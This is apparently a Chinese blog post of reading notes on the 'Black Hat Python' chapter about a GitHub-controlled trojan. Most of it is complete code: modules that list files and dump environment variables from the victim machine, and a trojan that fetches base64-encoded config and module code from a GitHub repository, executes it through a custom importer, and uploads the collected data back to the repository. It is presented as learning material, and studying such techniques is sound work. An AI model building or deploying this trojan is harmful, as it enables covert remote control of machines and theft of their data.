《Python黑帽子:黑客与渗透测试编程之道》读书笔记(六):基于github的木马
2021/6/8 12:25:11
本文主要是介绍《Python黑帽子:黑客与渗透测试编程之道》读书笔记(六):基于github的木马,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
目录
- 前言
- 1、github的配置
- 2、创建模块
- 3、木马配置
- 4、编写基于github通信的木马
- 结语
前言
《Python黑帽子:黑客与渗透测试编程之道》的读书笔记,会包括书中源码,并自己将其中一些改写成Python3版本。书是比较老了,anyway,还是本很好的书
本篇是第7章基于github的木马
1、github的配置
如下命令,搭建一个chapter7项目
2、创建模块
在modules目录下创建一个dirlister.py列举当前目录下的所有文件
#!/usr/bin/env python #-*- coding:utf8 -*- import os def run(**args): print "[*] In dirlister module." # 列出当前目录的所有文件,并作为字符串返回 files = os.listdir(".") return str(files)
一个environment.py获取木马所在远程机器上的所有环境变量
#!/usr/bin/env python #-*- coding:utf8 -*- import os def run(**args): print "[*] In environment module." # 返回当前系统的环境变量,这里就是远程被控机器的环境变量 return str(os.environ)
推送代码
3、木马配置
在config目录下创建一个json文件作为配置
[ { "module":"dirlister" }, { "module":"environment" } ]
同样推送
4、编写基于github通信的木马
该木马从github上下载配置选项和运行的模块代码
#!/usr/bin/env python #-*- coding:utf8 -*- import json import base64 import sys import time import imp import random import threading import Queue import os from github3 import login trojan_id = "abc" #这个id唯一标示了木马 trojan_config = "%s.json" % trojan_id data_path = "chapter7/data/%s/" % trojan_id trojan_modules = [] configured = False task_queue = Queue.Queue() # 通过账号密码连接到github,获取repo和branch,注意真实环境需要混淆和访问控制 def connect_to_github(): gh = login(username="你的账号", password="你的密码") repo = gh.repository("你的账号,同上面的账号", "python-hacker-code(仓库名)") branch = repo.branch("master") return gh,repo,branch # 从远程仓库中获取文件 def get_file_contents(filepath): gh, repo, branch = connect_to_github() tree = branch.commit.commit.tree.recurse() for filename in tree.tree: if filepath in filename.path: print "[*] Found file %s" % filepath blob = repo.blob(filename._json_data['sha']) return blob.content return None # 获取木马的配置文件,并导入模块 def get_trojan_config(): global configured config_json = get_file_contents(trojan_config) config = json.loads(base64.b64decode(config_json)) configured = True for task in config: if task['module'] not in sys.modules: exec("import %s" % task['module']) return config # 将从目标主机收集到的数据推送到仓库中 def store_module_result(data): gh, repo, branch = connect_to_github() remote_path = "chapter7/data/%s/%d.data" % (trojan_id, random.randint(10,10000000)) repo.create_file(remote_path,"Commit message",base64.b64encode(data)) return def module_runner(module): # 将1加入到队列中 task_queue.put(1) result = sys.modules[module].run(a=1,b=2,c=3) # 从队列中移除 task_queue.get() # 保存结果到我们的仓库中 store_module_result(result) return # 创建定制的加载类 class GitImporter(object): def __init__(self): self.current_module_code = "" # 尝试获取模块所在位置 def find_module(self, fullname, path=None): if configured: print "[*] Attempting to retrieve %s" % fullname # 调用之前的远程文件加载器 new_library = get_file_contents("chapter7/modules/%s" % fullname) # 解密并保存文件内容 if new_library is not None: self.current_module_code = base64.b64decode(new_library) # 返回self变量,告诉python解析器找到了所需的模块 return self return None # 完成模块的实际加载过程 def load_module(self, name): # 创建一个空的模块对象 module = imp.new_module(name) # 将github中获得的代码导入的这个对象中 exec self.current_module_code in module.__dict__ # 最后将这个新建的模块添加到sys.modules列表里面 sys.modules[name] = module return module # 添加自定义的模块导入器 sys.meta_path = [GitImporter()] # 木马循环 while True: if task_queue.empty(): # 获取木马配置文件 config = get_trojan_config() for task in config: # 对每个模块单独建立线程 t = threading.Thread(target=module_runner, args=(task['module'],)) t.start() time.sleep(random.randint(1,10)) time.sleep(random.randint(1000,10000))
结语
一个简单的基于github的木马
这篇关于《Python黑帽子:黑客与渗透测试编程之道》读书笔记(六):基于github的木马的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-05-08有遇到过吗?同样的规则 Excel 中 比Python 结果大
- 2024-03-30开始python成长之路
- 2024-03-29python optparse
- 2024-03-29python map 函数
- 2024-03-20invalid format specifier python
- 2024-03-18pool.map python
- 2024-03-18threads in python
- 2024-03-14python Ai 应用开发基础训练,字符串,字典,文件
- 2024-03-13id3 algorithm python
- 2024-03-13sum array elements python